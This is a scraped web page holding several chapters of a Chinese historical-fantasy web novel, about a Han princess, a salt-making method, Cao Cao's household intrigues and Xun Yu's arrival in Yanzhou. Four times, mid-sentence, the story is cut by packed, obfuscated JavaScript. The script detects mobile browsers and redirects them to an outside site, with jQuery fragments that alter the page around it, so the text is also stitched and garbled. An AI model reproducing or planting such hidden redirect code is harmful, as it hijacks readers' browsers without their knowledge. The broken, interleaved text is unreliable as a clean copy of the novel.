l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725713|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 就这样,他们两个结伴同行,慢慢往马车那边走去,也就是在这路上,刘琼对其发问了。 “陈伯父,如果有一种十分高产,但却从来没见过的粮种出现,并发放给百姓们,你觉得他们会接受吗?”她先问了第一种奖励可能会造成的影响。 “女公子都说是从来没见过的粮种了,那要推广开来自然是需要时日的。” “底层老百姓大多不识字,种地都靠以前的经验,想要说服他们改种其他的粮食,只怕很难啊。” “远的不提,咱们就说这麦子和粟米吧,人人都知道麦子的产量比粟米高,可是价钱却贱的很,做成麦饭又不好吃,那百姓自然愿意多种粟米,而非种麦。” “可随着大公子吩咐每个村镇都设有石磨,且使用价格十分低廉,女公子又教那些女工们做扁食,饺子等简单美味又饱腹的面食,那自然有许多百姓打算明年多种麦子了。” “刚才我从排队领汤的女工们那里过来,就听见有许多人正议论呢。” “可见要让老百姓转变自己的观念,只有把明明白白的好处摆在他们面前才可,至于什么言语许诺,只怕难以改变众人心意啊。” “而且无论什么粮种,总要种上一季试试看才行,一旦出了什么差错,那就不只是耽误了农时和收成了,更是拿百姓们的性命做赌注。” “涉及身家性命,口粮衣食,那百姓们自然不会轻易松口的。” 陈宫虽然不知道为何刘琼要问这个,但他还是结合现在的情况和兖州的形势认真为她分析了一遍。 刘琼闻言就明白,土豆红薯的选项应该被淘汰了,至少现在她用不上。 “那煤炭呢?陈伯父知道这东西吗?价值几何?可能推广开来给百姓御寒吗?”于是乎,她又问第二个选项。 “煤炭?”陈宫一愣。 “就是黑色的,看着很像石块的东西,能点燃,火苗是橙红色的,有些底部可能是浅蓝色,一小块就能烧很久的那种东西。”刘琼给他描述了一番。 “女公子说的是石炭吧,这东西我大汉自然是有,但一般是用来冶炼金属的,并不用于取暖。” “因为许多石炭的位置比较固定,开采起来困难不说,拿去卖的话,还得搭上运费,那这价格自然要贵许多。” “可同样是取暖的东西,市面上的柴火干草却便宜的很,如果连这都买不起,进山砍柴也是一条路子,老百姓平日里煮饭取暖,都是靠着这些的。” “这也是为何柴米油盐酱醋茶,柴排在第一位的原因了。” “不止是价格问题,还有石炭使用不当,恐会造成伤亡,以前也出过这种事,人闻了石炭燃烧的味道,有的会窒息而死。” “故而我大汉虽然有所使用,但也不过十之一二,大多百姓并不熟悉此物,更不必提推广开来了。” 陈宫再一次给出了专业见解,从成本方面到安全隐患以及百姓接受程度都做了解释。 “那盐呢?雪白的精盐制作方法重要吗?能换回大量的钱粮兵马吗?”刘琼听完分析后,几乎是不假思索的就询问了第三项奖励。 “那自然是能了,盐铁两项都是国之重器,遥想当年,汉武皇帝不惜发动战争也要使得盐铁经营权回归朝廷,进行统一管理就知道,这两项生意是多么的重要了。” “据史书记载,汉武皇帝当年打匈奴的军费,大多都是盐铁经营利润所得,那自然是极其赚钱的。” “有了钱还怕没有粮食兵马吗?”话到此处,陈宫突然意识到了什么。 “女公子,你该不会有……”,他有些不确定的开口询问。 “是,我有。”而刘琼也认真的点了点头,回答他的同时,也在心中默念,选择了第三项奖励,耳边瞬间响起系统的提示音。 “宿主已选择精盐制作法,该步骤已经全部书写完成,并化为帛书,现发放给宿主。” 同一时间,刘琼感觉自己袖中多了什么东西。 27.远大志向 “女公子果真有制精盐之法?”陈宫简直不敢相信,“何故,何故……” 他倒没有怀疑刘琼在说假话,主要是没什么必要,而且他现在更好奇公主怎么会有这种东西的。 “昔年高祖皇帝先项羽一步进入咸阳城,许多将领,乃至高祖皇帝自己,都大肆去搜刮金银珠宝,可唯独萧何丞相与众不同。” “他不爱金银器具,也不去看宫女嫔妃,而是亲自带人去收拢了天下图册,其中涉及山川地形,户籍记录,国家律令等许多文书档案。” “陈伯父以为,何故致他如此呢?”刘琼却不答反问,还引用了西汉开国丞相萧何的例子。 “自然是萧丞相看到了更长远的利益,金银珠宝,宫女嫔妃,不过财色之流,只要倚仗武力便能掠夺到手,根本不值一提。” “而那些文书,看似无用,实则却是夺取天下的利器。” “知道山川地形,便能更好的指挥战斗,清楚户籍多少,便能征发赋役,有此两项,高祖皇帝方能快速扫平叛军,一统天下。” “而国家律令,文书档案更是为我大汉立国奠定了制度基础,使得新建的王朝很快安稳下来。” “后续史书有载,言‘汉承秦制’,也由此奠定了我大汉数百年基业。” 陈宫不愧是饱读诗书的一流谋士,又为官多年,几乎是不假思索的就猜出了萧何做这件事的缘由。 “那么我现在做的,就和当年萧丞相一样。”刘琼如是说。 “女公子是说,这是你从家里带来的?”陈宫一愣,有些不确定的猜测道。 “先前我家里奸佞横行,我一弱女子,上不能护兄,下不能护弟,也唯有自保而已,还望陈伯父能体谅我的难处。”刘琼主动示弱。 “女公子这是说哪里话?先前奸佞横行,满朝文武尚不能杀贼,又如何能苛责一小女儿家呢?” “况且女公子有胆有谋,身处险境还能带出传家重宝,又慧眼识珠,紧握诸多生财之道于手中。” “此等眼光谋略,已然胜过这世间许多男儿了。”陈宫这并不是虚夸,也绝非谄媚,而是真心觉得刘琼很不一般。 “陈伯父既然这么说了,想必是看出这纺织工场的来历了吧。”刘琼看了他一眼。 “见女公子前已有怀疑,见女公子后,便彻底明白了。”陈宫如实道。 “曹操千里奔袭救我于水火,救命之恩无以为报,且吃穿住行,从不曾亏待,所以我投桃报李,将新型织机的图纸予他,并任由他借此壮大己身。” “于公,曹操是我大汉的忠臣,于私,他是我的救命恩人。” “方才陈伯父也为我分析了,这东西必然能快速聚敛钱财,有了钱,自然不愁没有粮食兵马,那兖州的实力也会迅速上升。” “这么一想,我似乎于情于理,都该把这精盐制作之法交由曹操去经营。” “可我却并没有这么做,也不想这么做,陈伯父可知道缘由吗?”刘琼反问道。 “因为女公子担心,这精盐制作之法最后聚拢的钱财,招募的兵马,购买的粮草,会统统变成曹操自己的,而非大汉的。”陈宫一针见血指出了关键。 “那么,陈伯父有什么可以教我的吗?”刘琼也不忸怩,直接问策。 “曹操此人不可轻信,但眼下又不得不用,精盐之事,必然不能彻底绕开他,而女公子又年幼,未能亲掌此等重利之事。” “如此一来,我们就只好使用驱狼吞虎的策略了,女公子可知张邈吗?”陈宫问道。 “张邈?”刘琼一愣。 “张邈和袁绍,曹操等人曾为好友,又一起讨伐过董卓,也算一英雄豪杰,治理领地更是尽心尽力。” “奈何十八路诸侯讨董失败后,袁绍那厮却使诡计夺取了冀州,当时的冀州牧韩馥不得已只能去投奔张邈。” “张邈乃是陈留郡的太守,此处本属我兖州,自有兖州牧刘岱掌管,不想那袁绍依旧不依不饶,竟然派人追到兖州,又在张邈处逼得韩馥自杀。” “数月之前,又传噩耗,原兖州牧刘岱竟被黄巾军所杀,我和兖州士族权衡再三,最终选择了曹操做新的兖州牧。” “而曹操现在又和袁绍走的很近,可对张邈这个昔日好友却冷淡许多。” “也就是说……” “也就是说,张邈和袁绍,曹操之间都有矛盾,若是能拉拢到他,必然可借其力去制衡曹操。” 陈宫还未说完自己的论断,刘琼就把后半句接了下去。 “但是伯父你刚才说这个计策叫驱狼吞虎。” “那我是不是可以认为,在伯父心中,张邈其实也怀有二心,并非全然是为了我大汉着想的忠臣?”虽然是疑问句,但却是肯定的语气。 “……”,陈宫抿了抿嘴唇,没说话,但前行的脚步很明显顿了顿,这也就等于是默认。 “你可以试着拉拢张邈去对抗曹操,但是我的身份先不要透露出去。” “曹操心思缜密,且已经从我这儿得了新型织机的图纸,那么这制盐之法的来历,必然也瞒不过他。” “但我暂时还不想让外人知道我和传家宝都在曹操这儿,以免产生什么不必要的麻烦,明白吗?”刘琼压低声音命令道。 “诺。”陈宫下意识的答应着。 等点完了头,他才后知后觉的反应过来自己刚才跟公主谈论了些什么,不是女儿家的针织纺线,金玉首饰,反而是军国大事,甚至是驭下之术啊。 更难得的是,公主居然还和他对答如流,你我来往的探讨,甚至还有自己的见解。 “陈伯父,你怎么了?”见他一直不说话,只盯着自己看,刘琼不由得问了一句。 “没什么。”陈宫摇了摇头,“只是觉得有些可惜,若女公子是男儿身,那我大汉岂不是中兴有望?” “男儿身如何,女儿身又如何?” “守土护国之责,焉有男女之别?” “就连易经都说,‘乾道成男,坤道成女’,乾坤合一方成天地,既然如此,又何必非要分得那么清楚呢?”刘琼一语双关道。 “这……”陈宫有些语塞。 他总觉得有哪儿不太对劲,但公主的话好像听起来也很有道理,特别是她还拿易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732834|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经举例,这就让他不能轻易看破这国家大义后隐含的意思。 “伯父,眼下可是非常之时,我们也只能行非常之事,为了我弟弟的安危和大汉的未来,其他的世俗规矩反而不那么重要了。” “这就像当年的萧何萧丞相一样,欲要成就一番事业,必然要舍弃蝇头小利,你说是不是啊?” 刘琼心知陈宫不是一般人,她也明白自己想以女儿身掌控至高无上的权力是多么的惊世骇俗的一件事,所以并不打算这么快就让对方察觉到这点。 而自己刚才那话也的确有些冒失了,但说都说了,她也不好立刻反口,只能自比萧何,意在用这个例子模糊掉方才言语中透露出的野心。 “女公子所言甚是,眼下的确需要行非常之事。”陈宫听到这儿,注意力果然有所转移。 “只是,我联合张邈也只能在外部牵制住曹操,万一他在账本上作假,那又如何是好?”他还提出了一个内部问题。 “那我就只好找个我信任,曹操也信任的人去管账了。”刘琼说着话,就看向了远处。 陈宫顺着她的目光一起望过去,就见曹昂正忙着指挥人分发汤药。 “大公子这样子,可一点也不像他那个心狠手辣的父亲啊。”眼看曹昂态度诚恳又有耐心,陈宫也不由得感慨道。 “这不正好吗?子不类父,才更容易被人影响啊。”刘琼轻声道。 “女公子说的是。”陈宫也深以为然。 就这样,一大一小定好了策略,等今天的汤药分发完了,众人便打道回府。 如今是年节时期,来往客人太多,精盐制作的事,陈宫也就没着急去跟曹操谈,反而先去拉拢张邈,刘琼也正想着如何说服曹昂为自己所用。 等一过了年节,已经搞定张邈那边的陈宫便带上那张精盐制作方法去见了曹操,彼时,刘琼和曹昂也在。 双方你一言,我一语的叙说了想要利用制盐法赚取大批钱粮之事。 刘琼大大方方的承认这法子是自己的,而陈宫则是把防备曹操的锅揽到自己身上,话里话外就是不太信任对方。 此时刘琼再站出来做好人,使劲儿夸了曹操一番,最后又提出让曹昂管账,如此算是各退一步。 陈宫这个态度,曹操倒也没怀疑,因为他知道陈宫的为人,就是个忠臣直臣,他愿意为了公主和自己杠上,那也是意料之中的事。 反观公主倒是一如既往的向着自己的儿子,这更是让曹操下意识的觉得此事必然是陈宫的主意,跟公主没关系。 既然如此,那也没必要揪着不放,反正最后管账本是亲儿子,届时盐场盈利了,自己这个老父亲找他要钱,他还敢不给吗? 思及此处,曹操觉得陈宫的提议对自己影响不大,所以也就很痛快的同意了此事,反正这制盐的方子是白得的,有多少都是赚啊。 就这样,三方暂时达成了一致,而曹昂也成了众人利益纠葛的交叉点,可惜他自己并不知道这些,只想着有了正经差事,可以为国为民做些实事,也让父亲和公主高兴。 不得不说,有时候无知也是一种福气啊。 28.刀光剑影 却说曹昂虽然成了各方博弈的棋子,但却又实实在在得了管理盐业的肥差。 曹操又允许他抽调军中青壮修建多处盐场,并招募盐工,只等过些日子天气暖和,便可立即投入生产。 陈宫和张邈也派来许多人手给曹昂,名为帮忙,实则要起监察作用,还欲要从中分一杯羹。 刘琼也时不时的就会过问盐场的事宜,对其上心的很。 虽说众人心思各异,但至少曹昂明面上得到了来自各方的重视,这点是肯定的。 可这也不出意外的引发了来自他亲兄弟的嫉妒,其中又以小曹丕为甚。 重阳节前,丁夫人使了内宅手段,断了小曹丕用来治病的甘蔗汁,以至于他的咳疾再次复发。 这几个月来,小曹丕喝了许多苦药汁子,受了不少罪,可偏偏治疗效果不佳,好在如今入了冬日,他不出去,家里又暖和,精心的养护着,这病才好了许多。 但他才好了几分,就突然得知大哥曹昂竟然从父亲曹操那儿领了盐业这般肥差要务,自然是令他心急如焚。 即便外头下着大雪,他还是急匆匆去见了母亲卞夫人。 彼时,卞夫人正坐在案台后看书简,眼看儿子进来,且面带焦急之色,便知他肯定是有事,当即屏退了左右,又示意心腹侍女守住门口,然后这才起身。 “瞧你满头大汗的,这是遇到什么事了?大雪天的还过来?” 卞夫人走到小曹丕跟前,伸手为他掸了掸肩头的雪花,又将他身上的狐裘解下,放置在一旁,这才拉着他一起回到案台前坐下,又倒了一杯热蜜浆给他。 “父亲令大哥亲掌盐场之事,母亲可知晓了吗?”小曹丕接了杯子,却并没有喝,反而迫不及待的询问道。 “如何能不知道?你父亲从府中调拨了许多钱粮出去,便是我从不管账,却也长着眼睛,看的清楚呢。”卞夫人闻言,瞬间了然,明白儿子为何过来了。 “那母亲就不为孩儿着急吗?这可是盐业,是盐业啊。” “父亲竟然如此偏心,不仅全权交由大哥掌管,还让那兖州从事陈宫和陈留太守张邈帮着大哥操持。” “父亲宁可让外人帮忙,也不肯吩咐孩儿,这也未免太过厚此薄彼了吧。”小曹丕愤愤不平的抱怨着。 “我倒觉得,你父亲做的不错,如今他才当上兖州牧,地位还未稳固,自然要用利益拉拢下属官员。” “至于让你大哥亲掌,反而说明,他对陈宫和张邈等人都有防备。” “再提这个制盐法,你觉得这是咱们家拥有的东西吗?” “如若真是咱们家的,那先前你父亲讨伐黑山军,将士们缺衣少食,他也一筹莫展的时候,怎么不拿出来呢?”卞夫人耐着性子引导他自己思考。 “母亲的意思是,这制盐之法,也是他人授予?”小曹丕听到这儿,也渐渐冷静下来。 “难道又是刘家表姐?”他很快就把目标锁定在了刘琼身上。 “母亲先前就说她不简单,现下她竟然还能拿出制作精盐之法,那她,她到底是何身份呢?”小曹丕皱紧了眉头。 “不管她是何身份,总之你父亲现在奉她为座上宾,那你就应该也对她恭恭敬敬的。” “丕儿,你如今还不满十岁,无论你多么有才华,你父亲多半也不会把政务交给你打理。” “那么你现在要做的,能做的,就是紧跟在你父亲身后,听候他的吩咐,做一个最孝顺不过的儿子。” “也只有这样,你才能为将来的自己争取更多的筹码。”卞夫人加重语气强调着。 “可是父亲自归家以来,几乎日日把大哥带在身边,却根本不见孩儿,那我又如何表现自己的恭顺孝敬呢?”小曹丕却觉得非常委屈。 “他会来的,他一定会来的,不看僧面看佛面,就算不为了我,只为了你的幼弟,他也一定会来的。”卞夫人十分笃定。 “幼弟?植儿吗?他有什么值得父亲特地过来看的?”小曹丕撇了撇嘴,不以为然道。 “谁说是植儿了?”岂料卞夫人却笑了笑,“就不能是我又有喜了吗?”话到此处,她伸手温柔的摸了摸自己的肚子。 “母亲,你又有身孕了吗?”小曹丕一愣。 “这可真是太好了,那父亲一定会常来看母亲的。”他反应过来后,立刻就高兴的什么似的。 “可不是?俗话说,帝王爱长子,百姓爱幺儿,你父亲也是一样的。” “别看他现在十分器重你大哥,可慢慢的他就会发现,还是年幼的孩子更值得他付出真心。” 卞夫人把人情世故看的很透彻,也相当了解曹操,心知他是个多疑又敏感的人。 所以在这个家里,太过强硬耀眼的,不会得到他的青睐,反而柔美脆弱的,才是他的最爱。 男人嘛,都是这样的,回到家里,最希望看到的就是女人温柔,孩子孝顺。 这能给予他极大的精神安慰,让他觉得自己是他们的依靠,也因此使得他的自信心得到前所未有的满足。 某种意义上来说,卞夫人的理解不算错,只可惜她看问题的角度是一个妾室对主君的仰望。 而这也就意味着,她更多的是想用感情来从曹操那儿获取好处。 这固然无可厚非,但也有一个致命的缺陷,那就是她和她的孩子们能得到的所有东西,无论是精神上的,还是物质上的,将全都依赖于曹操本人的好恶来决定。 这也就导致,她根本离不开他,也不可能离开他,好比那依附大树而生的菟丝子,没了对方供给的营养,她连自己都养活不了,更何况是孩子们。 卞夫人或许意识到了这一点,但她不在乎,也没法在乎,妾室的身份限制了她,所以她不觉得这么做有什么错。 同样的,身为她的儿子,小曹丕也不觉得利用未来的弟弟或者妹妹吸引父亲的注意力,进而为自己争取机会是什么不道德的行为。 恰恰相反,他很期待母亲肚子里的孩子平安降生,因为这意味着,他又多了一个一母同胞的血亲,一个天生的,属于自己阵营的盟友。 他们母子计划的很周全,而曹操最近新得了盐场这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737682|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能赚大钱的营生,心情也是相当不错,所以面对爱妾的温柔小意,也是很享受的。 更别提卞夫人这会儿还有了身孕,更显得他能力非凡,一时竟是常来此处看望,小曹丕也在母亲的助攻下,全方面的向曹操展现了作为儿子的孝顺和恭敬。 卞夫人又趁机哭诉,言说当年可能受了医师蒙蔽,这才使得小曹丕患病多年不愈,她并非存心欺瞒,而是也被骗了,这才会如此的。 曹操一看爱妾哭的梨花带雨,又想着小曹丕也年幼的很,当年胎中带了弱症之事,绝非他能隐瞒,加之现在爱妾又有身孕,这于情于理,他觉得都不该再苛责她们。 于是乎,母子两个齐心协力,总算把曹操先前对他们的芥蒂消去了,一时之间,侧院的形势一片大好。 但作为正妻的丁夫人在知道这件事后却根本不慌,而是把心腹娘子找来。 “先前我吩咐你的事都办好了吗?”丁夫人问道。 “夫人放心,一切顺利,找来的环儿姑娘姿色身段都是上等,性情也和侧院那位截然不同,且很会伺候人,想来主君必会流连忘返。”那心腹娘子行了一礼后,恭敬道。 “那就好,男人嘛,总是贪新鲜的,如若再是个年轻貌美,又会撒娇卖痴的,自然也就走不动道了。” 丁夫人扯了扯嘴角,眼里带着些嘲弄,显然是看透了自己丈夫的本质。 “夫人说的是。”那心腹娘子也附和道,“等主君得了新人,想来那侧院的,也就掀不起什么风浪了。” “我从来也没把她放在眼里,只要她还是妾室,那就是再如何得宠也越不过我去。” “可她千不该,万不该,不该想着让她的儿子取代我儿的地位,既然她不识趣,那就别怪我下狠手了。” “没得说都是一家人,偏她们母子吃肉,我和昂儿却要喝汤的道理!”话到此处,丁夫人眼中闪过一丝狠厉,随即吩咐心腹娘子下去办事。 不久后的事实证明,那个环儿也的确给力,曹操在得到她后,显得非常喜欢,喜欢到几乎天天都去她那里。 很快环儿便有了身孕,这让曹操更加高兴,在更期待她腹中的孩儿同时,也爱屋及乌,提升她为自己的侧室夫人,侍从们也尊称对方为环夫人。 而新人得宠,那卞夫人这个旧人自然也就失宠,小曹丕也暂时没办法借母亲的势去亲近曹操这个父亲,更是急得不行。 急火攻心的结果就是他又病倒了,医师们进进出出,侧院里再次弥漫起中草药的味道。 虽然曹府后宅里刀光剑影,你来我往,但却根本影响不到刘琼,无论是丁夫人还是曹操,都不想,也不会让公主参与这种事。 而刘琼到底住在曹府里,对于这些也听到过,但却并不放在心上,而是专注于笼络民心,聚拢钱财,意在积蓄实力,以图大业。 只是如今身边缺少忠心的贤才辅佐,陈宫又不能时时守在她身旁出主意,这也难免让她觉得苦恼。 刘琼是苦于无人投奔,而也有人苦于没有得遇明主,正打算离开冀州,往兖州方向而来。 29.荀彧叔侄 二月末,三月初,天气乍暖还寒,还未彻底融化的积雪下已然冒出淡绿草芽,枝头树梢也有嫩叶花苞显现。 可人们却并没有时间欣赏,如今兖州道路两旁随处可见弯腰做事的农夫们,他们拿着农具,牵着耕牛,正忙碌着田里的活儿。 北方播种按节气走,大概是三月中下旬左右,但在那之前,自是要先犁土翻地准备着。 惊蛰和谷雨期间种下的粟米,称为早粟,若是错过这段日子,便只能在四月时雨下来时抢种了,而后者便被称为晚粟。 期间农民们还会种些大豆之类的作物,用以弥补晚种导致的粮食减产的损失。 至于小麦,则是在粟米成熟收割后再种。 去年刘琼来了兖州,冬日里给百姓们分发祛寒娇耳汤,又教他们做面食的做法,曹昂又吩咐各处城镇都设石磨,使用价格低廉,种种好处使得许多农户家庭决定今年多种些麦子。 但不管如何,那都是以后的事了,眼下众人正忙着呢,男人们下地春耕,女人们则继续去纺织工场做工,换回口粮和布匹,以供全家人吃用。 曹操和陈宫等人忙着整顿兖州的政务军事,调和与兖州士族的关系。 刘琼曹昂也没闲着,制作精盐的盐场已经建成,马上就要开工投产,而原先的纺织工场的事宜也不能停,各种钱粮支出都得他们两个过手经营。 整个兖州从上到下,都快忙的脚打后脑勺了,但却又掩不住生机勃勃的气象。 所有人都觉得日子有盼头,那自然有干劲儿,一切的一切都在往好的方向发展。 与此同时,通往兖州东郡的官道上,正有数辆马车前行着,打头的是主家所乘坐,后面跟着的是仆从以及装载书籍物品的车子。 虽然马车看着都半旧不新的,但上面镌刻的花纹倒是精致,可见并非是一般人。 而事实也正是如此,坐在里面赶路的,乃是荀彧和他的侄儿荀祈。 两人皆是颍川荀氏家族子弟,祖上累世官宦,虽然比不得袁家四世三公的显赫,但也是不折不扣的士族高门,及至东汉末年,仍是人才辈出,家族蒸蒸日上。 只是恰逢乱世,诸侯并起,天下纷争不断,荀氏内部对于该择谁为明主亦是有不小的分歧。 但是无论选择谁,在乱世中先保全性命都是最要紧的。 这一代的荀氏家主更是深谙鸡蛋不能放在一个篮子里的生存智慧,所以再三考虑后表示,儿孙们可以自行选择心中的明主投效。 这样将来不管是哪一个诸侯胜出,亦或者皇室再度中兴,最终他们颍川荀氏都可以继续传承下去。 再有就是,荀氏家族的儿郎们都是人中龙凤,他们也有意自己择主,准备一抒胸中抱负。 又因荀氏家族位于颍川郡,故而荀氏儿郎们也多选择北方诸侯辅佐,比如荀彧的兄长荀谌,他便是冀州牧袁绍的重要谋士。 去年袁绍能从原冀州牧韩馥手中得到冀州,荀谌可是出力不少。 现下他在袁绍阵营里可谓是风光无限,许多荀氏子也借由他的门路投在袁绍手下。 荀彧本来也随荀谌一起辅佐袁绍的,可是待了一阵子后,荀彧觉得袁绍并非是自己心中明主,便决定离开这里。 他听闻当初刺杀董卓的义士曹操做了兖州牧,还平定了内部黄巾军的叛乱,觉得此人不凡,便打算来兖州看看。 而荀彧的学识眼光也是荀氏子弟中最出类拔萃的那一批,他要离开,自然也有人跟随。 堂兄荀衍因家中有事耽搁不能同行,便让自己长子荀祈随荀彧一起出发。 这才有了荀彧和荀祈这对叔侄同行之事。 初春时节,道路上还有些积雪,马车压过去,‘咯吱咯吱’的响,车厢里空间不小,荀彧坐在主位,荀祈在他身旁左侧,两人正说着话。 “祈儿,你这次跟我一起到兖州,不只是为了游学这么简单吧。”一路上他都心不在焉的,荀彧早就看出来了。 “叔父说哪里话?侄儿年少无知,正应该四处游学增长见识,父亲不也是这么跟您说的吗?”荀祈一本正经的回答道。 “是吗?可我怎么听说,还有别的缘由呢?”荀彧却反问道。 “还能有什么缘由啊,叔父你别听人瞎说。”荀祈心里发虚,可嘴上还是硬气的很。 “你父亲跟我说,你除了想游学,还想逃避家族安排的相亲,是也不是啊。”荀彧也不去争辩,直接把他爹的原话转述了一遍。 “这怎么叫逃避呢,那不是没相中吗?再者说,我还小呢,这么着急成家做什么?”荀祈继续狡辩。 “你今年已经十六七了,正是相亲成家的好时候。” “咱们这样的士族高门,那都是先和门当户对的家族定亲,然后再成亲的,期间少说准备也得两三年。” “届时你正好加冠,岂不是两全其美吗?” “况且你又是你父亲的长子,不止承担着继承家业的责任,还承担着……”荀彧还未说完就被打断了。 “还承担着开枝散叶的责任。”荀祈生无可恋的接了一句。 “叔父,怎么您的说辞和父亲一模一样啊?” “责任,责任,我当然也知道自己对家族负有责任,可是我就是没有中意的啊,那我能有什么办法?”荀祈摊开手,也觉得无奈的很。 “我听你父亲说,这一两年也给你相看了不少高门贵女,怎么就能一个都不中意呢?” “莫不是非要天上掉下个仙女来,你才看的中吗?”荀彧对其说教了一顿。 “若真有仙女肯嫁,那我求之不得呢。”荀祈小声嘀咕道。 “你说什么?”荀彧眉头一挑。 “没说什么,叔父,眼看就快进城了,咱们还是快点去曹府拜见兖州牧吧。”荀祈立刻正襟危坐,一本正经道。 “提起这个,我……”,荀彧正要再说点什么,可却被外头的喧闹声打断。 荀祈好奇,便掀开马车的侧帘往外张望,却见不知何时,道路两边出现了许多三两结伴的姑娘们。 只见她们穿着简朴,多是荆钗布裙,其中也并无特别出色的,但脸上却满是喜悦,不时和同伴说说笑笑,手里还拎着粮食布匹什么的。 还有些姑娘爱美,在耳边发髻上戴了一两朵野花装饰。 “叔父,你看这路上怎么这么多姑娘家啊。”荀祈很是好奇。 “听说去年曹公接纳了三十万黄巾军,还给不少女眷安排了纺织工作,看她们的样子,想来都是被雇佣来的良家女子。” 荀彧早就关注曹操了,有关他的事,自然记得清楚。 “可如今天色还早,这个时辰她们不应该在工场做工吗?如何却在路上闲聊呢?还有互相戴花玩笑的。”荀祈指了指外头,有些疑惑道。 “你怎得忘了?再过几日就是上巳佳节,正是男女定情的节日。” “将来再成了家,那就算是在兖州扎下根来了,想来曹公也是考虑到了这点,这才允许她们休息几日的吧。”荀彧却很快想到了缘由。 “原来是这样啊。”疑惑得以解开,荀祈瞬间就觉得很无聊了,还一副兴致缺缺的模样。 “什么这样那样的,你自己的终身大事,怎么一点都不上心呢?” “你父亲临出门前已经嘱咐我了,要替你再相看一番,既然冀州的高门贵女你看不上,那就瞧瞧兖州的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745837|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我听说曹公正有一女,年方十二……” 荀彧正絮叨个没完,但荀祈却一点都没听进去,他的目光此时都被不远处的一位姑娘吸引住了。 对方穿着一身青白色的襦裙,头上梳着双鬟髻,缥色发带随风飘扬,显得清雅至极,观其年岁似乎有些小,但也掩不住这姑娘的美貌。 她旁边还有侍女跟随,又有马车和仆从等候,这一看就是贵族出身。 荀彧说了半天,侄儿一点反应也没有,却又一直看着外面不放,他直觉有情况,便伸手在他面前晃了晃。 “祈儿,你看什么呢?” “啊?没看什么啊。”荀祈吓着一跳,正想像以前一样蒙混过关。 可这一转眼的功夫,竟然看到那姑娘正跟一个男子搭话,两人有说有笑,还一起上了马车,侍女和仆从也随即跟上离开了。 “怎么走了?叔父,你看你,非跟我说话,人都走了。”荀祈焦急万分,甚至想亲自下去追,岂料荀彧却眼疾手快拉住了他。 “是不是傻?你下车就能追上了吗?”荀彧挑了挑眉。 “那怎么办?再不追的话,人姑娘都走远了。”荀祈急得团团转。 “你没看到刚才那姑娘和那许多女工都熟络的很吗?想来必定知道对方的身份,我们派人去问问,然后再登门拜访岂不更好?” “像你这般冒冒失失的追过去,别说赢得人家姑娘的好感了,说不定还会挨一顿打呢。”荀彧没好气的说了他几句。 “对对对,是该先打探一番,不能失礼,不能失礼,还有那个男子的身份,也得打探一番。” 荀祈也没在意叔父的态度,忙招呼了仆从过来,吩咐他们去打探。 那仆从听了吩咐,却下意识的看向了荀彧,毕竟,这里做主的是他。 而荀彧考虑到自己侄儿难得对一个姑娘上心,那他自然不能拦着,便示意仆从去问就是,后者领命而去,不多时就回来禀报。 说是听那些女工们讲,方才上了马车的姑娘和少年乃是州牧大人家的女公子和大公子。 这不巧了吗?他们千里迢迢的赶来,正是要去拜见曹操的。 “叔父,你刚才是不是说,要给我相看兖州的姑娘的?还说曹公有一女,那个,那个……”荀祈支支吾吾的。 “我说了吗?诶呀,这年纪大了,记性有点不太好啊。”荀彧一看就知道这小子想什么呢,可偏偏故意装糊涂。 “叔父,您今年才二十九岁,而立之年都不到呢,哪里年纪大了?至于记性,家里谁人不知,叔父有过目不忘之能?”荀祈一听立刻反驳道。 “那就是舟车劳顿,累着了,一时真想不起来方才说什么了,我得先歇一会儿。”荀彧说着便要靠在车厢上休息。 “……”荀祈闻言差点一口气没上来,但最后还是笑着凑过去献殷勤。 “那我给叔父捶捶背,揉揉肩,让您歇的舒服些。” “不错,有孝心啊。”对于侄儿的服侍,荀彧非常受用,这一路上可算是让他服软了。 到后来,荀彧甚至开始闭目养神,但心里却在思考着和曹家联姻的可能性,但荀祈却不知道,他心里急,手也酸,可没得准信儿,又不敢停。 等到进了城门了,他才勉强等来一句回答。 “想起来了,我好像确实说过。” “那叔父,我的婚事?”荀祈小心翼翼的追问。 “我想着了,你放心就是。”荀彧回了一句。 “嗯。”荀祈闻言连连点头,面上都是喜色。 就这样,叔侄两个暂时达成了一致,而回到曹府的刘琼还不知道,自己只是正常出去给女工们发工钱就引来了一枝桃花。 30.提亲被拒 